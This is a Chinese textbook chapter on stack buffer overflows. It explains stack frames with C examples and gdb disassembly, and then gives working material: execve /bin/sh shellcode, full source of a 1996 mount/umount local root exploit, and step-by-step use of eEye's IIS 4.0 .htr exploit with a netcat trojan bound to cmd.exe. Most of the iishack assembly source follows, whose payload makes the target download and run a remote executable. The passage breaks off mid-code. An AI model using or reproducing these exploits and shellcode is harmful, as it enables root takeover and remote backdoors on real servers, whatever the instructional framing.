第十章
缓冲区溢出及其攻击
第一节缓冲区溢出原理
缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
下面对这种技术做一个详细的介绍。
缓冲区是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。
如果程序在动态分配缓冲区放入太多的数据会有什么现象?它溢出了,漏到了别的地方。一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。
单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。
总结一下上面的描述。缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
example0.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
----------------------------------------------------------------------
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。
在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。
下面通过介绍Linux中怎样利用缓冲区溢出来讲解这一原理。最后介绍一个 eEye公司发现的IIS的一个溢出漏洞来讲解一个很实际的攻击实例。
第二节制造缓冲区溢出
一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:
/――――――――\ 内存低端
| 程序段 |
|―――――――――|
| 数据段 |
|―――――――――|
| 堆栈 |
\―――――――――/ 内存高端
堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。
堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。
在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。参数的传递和返回值是也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
下面举个例子:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
为了理解程序是怎样调用函数function()的,使用-S选项,在Linux下,用gcc进行编译,产生汇编代码输出:
$ gcc -S -o example1.s example1.c
看看输出文件中调用函数的那部分:
pushl $3
pushl $2
pushl $1
call function
这就将3个参数压到堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。
在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
缓冲区溢出就是在一个缓冲区里写入过多的数据。那怎样利用呢,看一下下面程序:
example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
----------------------------------------------------------------------
这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:
低内存端 buffer sfp ret *str 高内存端
< ------ [ ][ ][ ][ ]
栈顶 栈底
很明显,程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。
可见,缓冲区溢出允许我们改变一个函数的返回地址。通过这种方式,可以改变程序的执行顺序。
第三节通过缓冲区溢出获得用户SHELL
再回过头看看第一个例子:
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
将第一个example1.c的代码改动一下,用来覆盖返回地址,显示怎样能利用它来执行任意代码。在上图中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]实际上是8个字节,因此,返回地址是从buffer1[]起始地址算起是12个字节。在程序中,将返回地址设置成跳过语句"x=1;",因此,程序的运行结果显示成一个0,而不是1。
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
用gdb调试。
$ gdb example3
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 < main>: pushl %ebp
0x8000491 < main+1>: movl %esp,%ebp
0x8000493 < main+3>: subl $0x4,%esp
0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d < main+13>: pushl $0x3
0x800049f < main+15>: pushl $0x2
0x80004a1 < main+17>: pushl $0x1
0x80004a3 < main+19>: call 0x8000470 < function>
0x80004a8 < main+24>: addl $0xc,%esp
0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 < main+37>: pushl %eax
0x80004b6 < main+38>: pushl $0x80004f8
0x80004bb < main+43>: call 0x8000378 < printf>
0x80004c0 < main+48>: addl $0x8,%esp
0x80004c3 < main+51>: movl %ebp,%esp
0x80004c5 < main+53>: popl %ebp
0x80004c6 < main+54>: ret
0x80004c7 < main+55>: nop
------------------------------------------------------------------------------
可见在调用function()之前,RET的返回地址将是0x8004a8,我们想要跳过0x80004ab,去执行0x8004b2。
在能够修改程序执行顺序之后,想要执行什么程序呢?通常希望程序去执行Shell,在Shell里,就能执行希望执行的指令了。
如果在溢出的缓冲区中写入想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。
在C语言中,调用shell的程序是这样的:
shellcode.c
-----------------------------------------------------------------------------
#include < stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
看一下这段程序的二进制代码:
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
0x800014e < main+30>: call 0x80002bc < __execve>
0x8000153 < main+35>: addl $0xc,%esp
0x8000156 < main+38>: movl %ebp,%esp
0x8000158 < main+40>: popl %ebp
0x8000159 < main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 < __execve+4>: movl $0xb,%eax
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
0x80002d0 < __execve+20>: movl %eax,%edx
0x80002d2 < __execve+22>: testl %edx,%edx
0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>
0x80002d6 < __execve+26>: negl %edx
0x80002d8 < __execve+28>: pushl %edx
0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>
0x80002de < __execve+34>: popl %edx
0x80002df < __execve+35>: movl %edx,(%eax)
0x80002e1 < __execve+37>: movl $0xffffffff,%eax
0x80002e6 < __execve+42>: popl %ebx
0x80002e7 < __execve+43>: movl %ebp,%esp
0x80002e9 < __execve+45>: popl %ebp
0x80002ea < __execve+46>: ret
0x80002eb < __execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
研究一下main:
------------------------------------------------------------------------------
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
这段代码是main()函数的进入代码,为变量name留出空间。
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
这里实现了name[0] = "/bin/sh";语句。
接下来是调用execve()函数。
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
前面几句是参数传递。
0x800014e < main+30>: call 0x80002bc < __execve>
再来分析一下execve()函数。
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
这是每个函数的进入必须处理部分。
0x80002c0 < __execve+4>: movl $0xb,%eax
将eax拷贝到堆栈上的0xb(11)处。这是系统调用表的索引,及是execve调用。
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
进入中断,也就是系统内核,实现系统调用。为了防止execve调用不成功,可以在程序后面再加入一个exit系统调用。
将上面所述,我们就得出一段调用shell的二进制(汇编)代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
由于我们不知道程序的运行空间,所以使用JMP和CALL指令。这两个指令可以使用相对地址。如果在“/bin/sh”前放一条CALL指令,并将一个JMP指令跳向它。这个字符串地址将PUSH到堆栈上,作为CALL的返回地址。我们所做的就是将返回地址拷贝到一个寄存器。那么程序的执行顺序如下:
内存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高端
89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
buffer sfp ret a b c
< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
栈顶 栈底
经过这些改动后,使用索引地址,参考下面的代码:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
通常将上面这段代码翻译成二进制代码,放在一个数组里。
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
下面的程序是怎样利用的示范:
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。
这样当程序试从strcpy()中返回时,就会转而执行shell。
第四节利用缓冲区溢出进行的系统攻击
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。可以编写程序来自动实现这一功能。请参见下面的这个比较经典的程序。
低内存端 buffer sfp ret *str 高内存端
< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|
图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include < unistd.h>
#include < stdio.h>
#include < stdlib.h>
#include < fcntl.h>
#include < sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。
第五节缓冲区溢出应用攻击实例
eEye - Digital Security Team利用他们开发的Retina网络安全扫描器时,发现了微软IIS4.0的一个缓冲区溢出漏洞,从而产生了一些列的攻击。下面是对这一过程的详细分析。
受到影响的系统
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
目前,Internet上90%的NT Web服务器运行的是上述系统。所以这一造成的后果是相当巨大的。
原理
IIS把整个的URL地址传给处理IIS默认后缀(.ASP, .IDC, .HTR)的DLL。如果ISAPI DLL没有一个很好的边界检查的话,会产生一个缓冲区溢出,它利用IIS(inetinfo.exe),允许执行远程计算机上的任意代码。
利用这一原理,eEye利用Retina使用这些后缀,来探测是否存在这样的漏洞。结果,发现了这样的漏洞。在发送"GET /[overflow].htr HTTP/1.0"后,对方的服务器没有反映了。于是,使用调试器,进行分析后发现,这个缓冲区有3K。请参看前面介绍的原理。
下面是调试信息:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
注: Retina使用"A" (0x41)来填充缓冲区。
解释:
这个溢出和.HTR后缀有关。IIS包含了允许Windows NT用户通过web目录/iisadmpwd/改变他们的口令的能力。这个特点是由一系列的.HTR文件和ISAPI后缀文件ISM.DLL实现的。因此,在将URL传递给ISM.DLL的这一行的某个地方,并没有进行边界检查,于是就发生了溢出。.HTR/ISM.DLL ISAPI过滤器都在IIS服务器上缺省安装。
攻击方法
利用上述的毛病,eEye写了两个程序: iishack.exe和 ncx.exe。
把ncx.exe拷贝到你的web服务器上。ncx.exe是一个特洛伊木马程序,是netcat.exe的改进程序。主要变化是将-l -p 80 -t -e cmd.exe作为一个固定的参数运行,始终将cmd.exe绑定在80端口。ncx..exe的代码也比netcat.exe要小,有利于攻击。
如果不能在服务器上使用ncx.exe的话,可以使用ncx99.exe。主要原因是ncx.exe绑定80端口,有可能不能用。Ncx99.exe绑定99端口。
假设你的web server是:www.mysvr.com,对方的IIS server是www.xxx.com 。运行下面的命令:
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
运行后,可以看到如下信息:
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack < host> < port> < url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!
等待足够多的时间。这样,你已经利用这一漏洞并在被攻击的服务器上留下后门了。随后,可以使用Telnet来操作对方的计算机。
Telnet www.xxx.com 99
结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>
这就说明你已经能进入对方的计算机了。现在可以进行任何想要进行的操作了。
如果想要退出,只需键入exit。
对这个漏洞的补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。
Iishack.exe程序的源代码
下面将iishack.exe的源代码放在这里,供有兴趣者参考。在分析这段代码时,请参照前面的原理的讲解。如要编译成可执行代码,请用Turbo ASM来编译。
; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, instead I'll
; give just a few specifics relating to this one..
;
; Microsoft was rather good to us on this occasion, stuffing our eip value
; directly into a register then calling it.. no need to stuff valid addresses
; to make our way through various routines to eventually return to our
; address... but, unfortunately it wasn't all smooth sailing.
; Various bytes and byte sequences I was forced to avoid, as you'll quickly
; notice should you bother debugging this.. various push/pop pairs etc.
; I don't bother with any cleanup when all is done, NT's exception handling
; can cope with the mess :)
;
; The exploit works by redirecting the eip to the address of a loaded dll,
; in this case ISM.DLL. Why?
; Because its loaded in memory, is loaded at a high address which gets around
; the null byte problem.. and is static on all service packs.
; The code from ISM.DLL jumps to my code, which creates a jump table of
; of functions we'll need, including the socket functions.. we do this
; because unfortunately the dll's import tables don't include nearly enough
; of the functions we need..
;
; The socket structure is created and filled at runtime, I had to do this
; at runtime because of the bad byte problem.. after this a small buffer is
; created, a get request issued to the web site of the file you want to
; download.. file is then received/saved to disk/and executed..
; Simple huh? no not really :)
;
; Have fun with this one... feel free to drop me an email with any comments.
;
; And finally, heh.. "caveat emptor".
;
;
; you can grab the assembled exe at http://www.eEye.com.
;
; to assemble:
;
; tasm32 -ml iishack.asm
; tlink32 -Tpe -c -x iishack.obj ,,, import32
.386p
locals
jumps
.model flat, stdcall
extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC
.data
sploit_length equ 1157
sploit:
db "GET /"
db 041h, 041h, 041h, 041h, 041h, 041h, 041h
db 576 dup (041h)
db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h
db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h
db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h
db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h
db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh
db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h
db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h
db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h
db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h
db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h
db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h
db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h
db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh
db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h
db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h
db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h
db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h
db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h
db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah
db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h
db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh
db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h
db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h
db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh
db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h
db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h
db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h
db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h
db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h
db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h
db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh
db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h
db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h
db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h
db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h
db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h
_url2 db 85 dup (021h)
db ".htr HTTP/1.0"
db 00dh,00ah, 00dh, 00ah
logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10
db "(c) dark spyrit -- barns@eeye.com.",13,10
db "http://www.eEye.com",13,10,13,10
db "[usage: iishack < host> < port> < url>]", 13, 10
db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10
db "do not include 'http://' before hosts!",13,10
db "-------------------------------------------------------------------------------", 13, 10, 0
logolen equ $-logo
u_length db 10,"No more than 70 chars in 2nd url.",13,10,0
u_lengthl equ $-u_length
errorinit db 10,"Error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit
nohost db 10,"No host or IP specified.", 13,10,0
nohostl equ $-nohost
noport db 10,"No port specified.",13,10,0
noportl equ $-noport
no_url db 10,"No URL specified.",13,10,0
no_urll equ $-no_url
urlinv db 10,"Invalid URL.. no file specified?",13,10,0
urlinvl equ $-urlinv
reshost db 10,"Error resolving host.",13,10,0
reshostl equ $-reshost
sockerr db 10,"Error creating socket.",13,10,0
sockerrl equ $-sockerr
ipill db 10,"IP error.",13,10,0
ipilll equ $-ipill
porterr db 10,"Invalid port.",13,10,0
porterrl equ $-porterr
cnerror db 10,"Error establishing connection.",13,10,0
cnerrorl equ $-cnerror
success db 10,"Data sent!",13,10,0
successl equ $-success
console_in dd ?
console_out dd ?
bytes_read dd ?
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
wsadata WSAdata < ?>
sin sockaddr_in < ?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_url db 256 dup (?)
stuff db 042h, 068h, 066h, 075h, 041h, 050h
.code
start:
call init_console
push logolen
push offset logo
call write_console
call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_urll
push offset no_url
call write_console
jmp quit3
@@3:
push ecx
lea edi, _url
call parse
pop ecx
cmp ecx, 71
jb length_ok
push u_lengthl
push offset u_length
call write_console
jmp quit3
length_ok:
mov esi, offset _url
mov edi, offset _url2
@@10:
xor al, al
lodsb
cmp al, 02fh
jz whaq
test al, al
jz @@20
add al, 021h
stosb
jmp @@10
@@20:
push urlinvl
push offset urlinv
call write_console
jmp quit3
whaq:
push esi
lea esi, stuff
lodsw
stosw
lodsd
stosd
pop esi
fileget:
xor al, al
lodsb
test al, al
jz getdone
add al, 021h
stosb
jmp fileget
getdone:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
push errorinitl
push offset errorinit
call write_console
jmp quit3
winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok
push sockerrl
push offset sockerr
call write_console
jmp quit2
socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov esi, offset _port
lewp1:
xor al, al
lodsb
